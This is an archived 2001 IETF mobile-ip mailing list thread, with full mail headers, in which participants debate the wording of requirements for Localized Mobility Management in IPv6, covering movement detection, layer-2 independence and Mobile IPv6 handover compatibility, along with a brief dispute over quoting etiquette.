	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:35:47 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id NAA03670;
	Wed, 21 Nov 2001 13:35:41 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fALLZeo28258;
	Wed, 21 Nov 2001 13:35:40 -0800
X-mProtect:  Wed, 21 Nov 2001 13:35:40 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.5.64, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdvqLJMp; Wed, 21 Nov 2001 13:35:38 PST
Message-ID: <3BFC1E27.AB32C653@iprg.nokia.com>
Date: Wed, 21 Nov 2001 13:35:35 -0800
From: Cedric Westphal <cedric@iprg.nokia.com>
Organization: NOKIA
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
CC: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>,
        t.pagtzis@cs.ucl.ac.uk
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se> <12d001c172bb$62709240$686015ac@docomocarl> <3BFC19CE.54139FE0@iprg.nokia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Jari,

"Jari T. Malinen" wrote:

> Hello,
>
> On movement detection: it is strange if we have no words at all
> on the requirement to detect when a LMM domain has changed. I
> feel there should be a version of the movement detection text
> included. If it were just an option for the protocol I would
> not mind dropping it altogether but for a LMM protocol to operate
> at all one needs to know when a LMM domain is crossed to do an initial
> registration. The domain need not be the same as an administrative
> domain, but like in base Mobile IP, movement detection clearly
> is a part of the overall operation. I do not see a problem
> if some other mechanism or protocol provides the actual
> mechanism but it needs to be noted such mechanism is
> needed for the LMM to work.
>
> BR,
>
> -Jari

now I understand. My original comments was that the requirement was not
clear as to who is detecting the movement, and I suggested either to clarify,
or to drop it. I agree that registration issues into a new LMM domain, and
the ability for the MN to know the LM domain ability are important issues.
In the following words, I am trying to capture the intent of the requirement,
let me know if I am close:

3.5.4 Movement detection

Any LMM mechanism MUST contain or make use of a mechanism that provides
movement detection between separate visited domains. Movement detection
allows a MN to identify that it has moved to a new LM domain, and to perform
registration in the new LM domain. LMM mechanism SHOULD interwork with
a default movement detection mechanism, such as AAA.

Take care,

Cedric.

>
>
> > > Carl,
> > >
> > > Looks fine. So did the last one !
> > > The requirement said that the two (LMM and FMIP)
> > > MUST BE _able_ to get deployed separately.
> > > If you remove "able to get" from that statement
> > > then I think you would think that the requirement
> > > is mandating that they get deployed separately, which
> > > is not the way I interepret it.
> > >
> > > BTW, I assume that you'll also remove the other 2
> > > reqts as agreed by Cedric, Theo, James, me ....etc
> > > earlier on the list ?
> > > The two are:
> > > 1. The movement detection based on domain
> > >    identification.
> > > 2. The L2 stuff !
> > >
> >
> > Hi Hesham,
> >
> > I removed (1) above.  But (2) was never in the draft :-)
> > It was in a version that was sent to the LMM design
> > team and I assume Cedric somehow got a copy of it.
> >
> > Carl
> >
> > > Thanks,
> > > Hesham
> > >
> > >
> > > -----Original Message-----
> > > From: Carl Williams [mailto:carlw@docomolabs-usa.com]
> > > Sent: Wednesday, November 21, 2001 3:56 AM
> > > To: mobile-ip@sunroof.eng.sun.com; Cedric Westphal;
> > > Hesham.Soliman@era.ericsson.se; t.pagtzis@cs.ucl.ac.uk
> > > Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision
> > > .01)
> > >
> > >
> > > >
> > > > Here is what the second paragraph says:
> > > >
> > > >     LMM and any standardized Mobile IPv6
> > > >     handover algorithm  MUST BE able to be deployed independently
> > > >     of each other.
> > > >
> > > > So please explain to me how an LMM solution that leverages
> > > > a handover protocol could be separately deployed from
> > > > the handover protocol?
> > > >
> > > >                 jak
> > > >
> > > >
> > >
> > > Hello James,
> > >
> > > Initially the requirement was written from the perspective
> > > of an "optimized" MIPv6 handover scheme that was *optional*.
> > >
> > > So with your proposal we are now not making any assumptions
> > > about the nature of the handover scheme.  Indeed, it could just simply
> > > be MIPv6.  I will use the suggested text and include:
> > >
> > > 3.9 Support for Mobile IPv6 Handover
> > >
> > > Since one of the primary goals of LMM is to minimize
> > > signaling during handover, an LMM solution MUST
> > > be available for the standardized Mobile IPv6 handover
> > > algorithms. LMM and the Mobile IPv6 handover algorithms
> > > MUST maintain compatibility in their signaling interactions for
> > > fulfilling complementary roles with respect to each other.
> > >
> > >
> > > If anyone has any comments on this requirement, please
> > > make your concerns known.
> > >
> > > Thanks to all those who read the draft:) and provided feedback.
> > >
> > > Carl
> > >
> > >



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 16:56:00 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA09919
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 16:56:00 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA10263;
	Wed, 21 Nov 2001 14:54:39 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA09221;
	Wed, 21 Nov 2001 13:54:46 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALLrjLS008359
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:53:45 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALLrjuD008358
	for mobile-ip-dist; Wed, 21 Nov 2001 13:53:45 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALLrfLS008351
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:53:41 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA16501
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:53:43 -0800 (PST)
Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA04546
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:53:41 -0800 (PST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id fALLrYH13813;
	Wed, 21 Nov 2001 13:53:35 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAJ54263;
	Wed, 21 Nov 2001 13:53:02 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA23143; Wed, 21 Nov 2001 13:53:37 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15356.8800.970575.517533@thomasm-u1.cisco.com>
Date: Wed, 21 Nov 2001 13:53:36 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Cc: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>,
        t.pagtzis@cs.ucl.ac.uk
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
In-Reply-To: <3BFC1E27.AB32C653@iprg.nokia.com>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se>
	<12d001c172bb$62709240$686015ac@docomocarl>
	<3BFC19CE.54139FE0@iprg.nokia.com>
	<3BFC1E27.AB32C653@iprg.nokia.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Cedric Westphal writes:
 > 3.5.4 Movement detection
 > 
 > Any LMM mechanism MUST contain or make use of a mechanism that provides
 > movement detection between separate visited domains. Movement detection
 > allows a MN to identify that it has moved to a new LM domain, and to perform
 > registration in the new LM domain. LMM mechanism SHOULD interwork with
 > a default movement detection mechanism, such as AAA.

   AAA?!?

   AAA isn't a movement detection mechanism, nor should it be
   used as one. That's a *very* bell shaped view of the world.

	   Mike


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 16:56:00 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA09920
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 16:56:00 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA10834;
	Wed, 21 Nov 2001 14:55:07 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA09401;
	Wed, 21 Nov 2001 13:55:13 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALLsNLS008376
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:54:23 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALLsMuX008375
	for mobile-ip-dist; Wed, 21 Nov 2001 13:54:22 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALLsILS008368
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:54:18 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA09136
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:54:20 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA21911
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 13:54:20 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id NAA04897;
	Wed, 21 Nov 2001 13:54:18 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fALLsHW17420;
	Wed, 21 Nov 2001 13:54:17 -0800
X-mProtect:  Wed, 21 Nov 2001 13:54:17 -0800 Nokia Silicon Valley Messaging Protection
Received: from jmalinen.iprg.nokia.com (205.226.2.98)
	by darkstar.iprg.nokia.com(P1.5 smtpdZD96Zm; Wed, 21 Nov 2001 13:54:16 PST
Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id NAA89148; Wed, 21 Nov 2001 13:54:15 -0800 (PST)
Message-ID: <3BFC2287.1DE04258@iprg.nokia.com>
Date: Wed, 21 Nov 2001 13:54:15 -0800
From: "Jari T. Malinen" <jmalinen@iprg.nokia.com>
Organization: Nokia
X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
CC: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>,
        Cedric Westphal <cedric@iprg.nokia.com>, t.pagtzis@cs.ucl.ac.uk
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se> <12d001c172bb$62709240$686015ac@docomocarl>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

All,

> > 2. The L2 stuff !

To repeat a bit the design team discussion, I agree, as long as it is
well understood that a basic design principle calls for a solution to
work over multiple L2s. It can be considered an implementation detail
how L2 optimizations are done as long as it does not mean we require
some currently not common L2 features for the solution to work.

In summary:
- L2 independence can be considered a basic enough design principle
  for L3 protocols not worth mentioning in this spec
- L2 implementation issue: agreed, as long as it does not mean a need
  to implement something specific on L2 for the L3 design to work at all
  (possible L2 additions used by the design can be optimizations but
  they MUST NOT be mandatory).

BR,

-Jari


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 17:33:10 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA11557
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 17:33:10 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA04217;
	Wed, 21 Nov 2001 15:29:38 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA19696;
	Wed, 21 Nov 2001 14:29:38 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALMSmLS008742
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:28:48 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALMSmRR008741
	for mobile-ip-dist; Wed, 21 Nov 2001 14:28:48 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALMSjLS008734
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:28:45 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA27065
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:28:25 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA03580
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:28:28 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id OAA07342
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:28:45 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fALMSjP21854
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:28:45 -0800
X-mProtect:  Wed, 21 Nov 2001 14:28:45 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.5.64, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdTgTxvh; Wed, 21 Nov 2001 14:28:42 PST
Message-ID: <3BFC2A97.95F6A11C@iprg.nokia.com>
Date: Wed, 21 Nov 2001 14:28:40 -0800
From: Cedric Westphal <cedric@iprg.nokia.com>
Organization: NOKIA
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se>
		<12d001c172bb$62709240$686015ac@docomocarl>
		<3BFC19CE.54139FE0@iprg.nokia.com>
		<3BFC1E27.AB32C653@iprg.nokia.com> <15356.8800.970575.517533@thomasm-u1.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Mike,

Michael Thomas wrote:

> Cedric Westphal writes:

something that conveniently got omitted to make a point. Please do
not use the so-called 'projector' technique, where you point at one
detail to cast doubts on the validity of the whole. The professional
attitude, as well as the common etiquette on IETF mailing lists, is to
at least mention (with a *snip* or equivalent) that you cut something
from the exchange.

>
>  > 3.5.4 Movement detection
>  >
>  > Any LMM mechanism MUST contain or make use of a mechanism that provides
>  > movement detection between separate visited domains. Movement detection
>  > allows a MN to identify that it has moved to a new LM domain, and to perform
>  > registration in the new LM domain. LMM mechanism SHOULD interwork with
>  > a default movement detection mechanism, such as AAA.
>
>    AAA?!?
>
>    AAA isn't a movement detection mechanism, nor should it be
>    used as one. That's a *very* bell shaped view of the world.

You can blame me as much as you care, the mention of AAA comes from the
original 3.5.4 Movement detection paragraph in the draft. By the way, Mike,
if you have some better wording to offer, please do so.

Cedric.

>

>
>
>            Mike



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 17:40:32 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA11820
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 17:40:32 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA10794;
	Wed, 21 Nov 2001 15:39:18 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA22075;
	Wed, 21 Nov 2001 14:39:11 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALMcRLS008900
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:38:27 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALMcRPv008899
	for mobile-ip-dist; Wed, 21 Nov 2001 14:38:27 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALMcNLS008892
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:38:23 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA19465
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:38:23 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA01429
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:38:22 -0800 (PST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id fALMcHl19214
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:38:18 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAJ55358;
	Wed, 21 Nov 2001 14:37:42 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA23154; Wed, 21 Nov 2001 14:38:17 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15356.11481.478969.982772@thomasm-u1.cisco.com>
Date: Wed, 21 Nov 2001 14:38:17 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
In-Reply-To: <3BFC2A97.95F6A11C@iprg.nokia.com>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se>
	<12d001c172bb$62709240$686015ac@docomocarl>
	<3BFC19CE.54139FE0@iprg.nokia.com>
	<3BFC1E27.AB32C653@iprg.nokia.com>
	<15356.8800.970575.517533@thomasm-u1.cisco.com>
	<3BFC2A97.95F6A11C@iprg.nokia.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

I'm making no point whatsoever on the whole draft,
nor can I see how my comment would be taken as
such. Nor have I ascribed blame on you or anybody
else, as I have no idea who wrote the paragraph
that was quoted. I'm simply pointing out that AAA
seems like a very weird example of what
could/should be used as a movement detection
mechanism. As for better wording, I'd suggest that
any mention of AAA in that capacity should just be
deleted from the text of the requirements.

	     Mike

Cedric Westphal writes:
 > Mike,
 > 
 > Michael Thomas wrote:
 > 
 > > Cedric Westphal writes:
 > 
 > something that conveniently got omitted to make a point. Please do
 > not use the so-called 'projector' technique, where you point at one
 > detail to cast doubts on the validity of the whole. The professional
 > attitude, as well as the common etiquette on IETF mailing lists, is to
 > at least mention (with a *snip* or equivalent) that you cut something
 > from the exchange.
 > 
 > >
 > >  > 3.5.4 Movement detection
 > >  >
 > >  > Any LMM mechanism MUST contain or make use of a mechanism that provides
 > >  > movement detection between separate visited domains. Movement detection
 > >  > allows a MN to identify that it has moved to a new LM domain, and to perform
 > >  > registration in the new LM domain. LMM mechanism SHOULD interwork with
 > >  > a default movement detection mechanism, such as AAA.
 > >
 > >    AAA?!?
 > >
 > >    AAA isn't a movement detection mechanism, nor should it be
 > >    used as one. That's a *very* bell shaped view of the world.
 > 
 > You can blame me as much as you care, the mention of AAA comes from the
 > original 3.5.4 Movement detection paragraph in the draft. By the way, Mike,
 > if you have some better wording to offer, please do so.
 > 
 > Cedric.
 > 
 > >
 > 
 > >
 > >
 > >            Mike
 > 


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 17:56:47 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12285
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 17:56:47 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA21179;
	Wed, 21 Nov 2001 15:55:26 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA25921;
	Wed, 21 Nov 2001 14:55:34 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALMsjLS009052
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:54:45 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALMsjFR009051
	for mobile-ip-dist; Wed, 21 Nov 2001 14:54:45 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALMsgLS009044
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:54:42 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA22388
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:54:41 -0800 (PST)
Received: from ftpbox.mot.com (ftpbox.mot.com [129.188.136.101])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA11552
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 14:54:40 -0800 (PST)
Received: [from pobox4.mot.com (pobox4.mot.com [10.64.251.243]) by ftpbox.mot.com (ftpbox 2.1) with ESMTP id PAA15461 for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:54:40 -0700 (MST)]
Received: [from il75exm04.cig.mot.com ([136.182.110.113]) by pobox4.mot.com (MOT-pobox4 2.0) with ESMTP id PAA17100 for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:54:39 -0700 (MST)]
Received: by IL75EXM04 with Internet Mail Service (5.5.2654.52)
	id <4K0C1L53>; Wed, 21 Nov 2001 16:54:39 -0600
Message-ID: <35DBB8B7AC89D4118E98009027B1009B411FB4@IL27EXM10.cig.mot.com>
From: Bhatla Mukesh-MBHATLA1 <MBHATLA1@motorola.com>
To: mobile-ip@sunroof.eng.sun.com
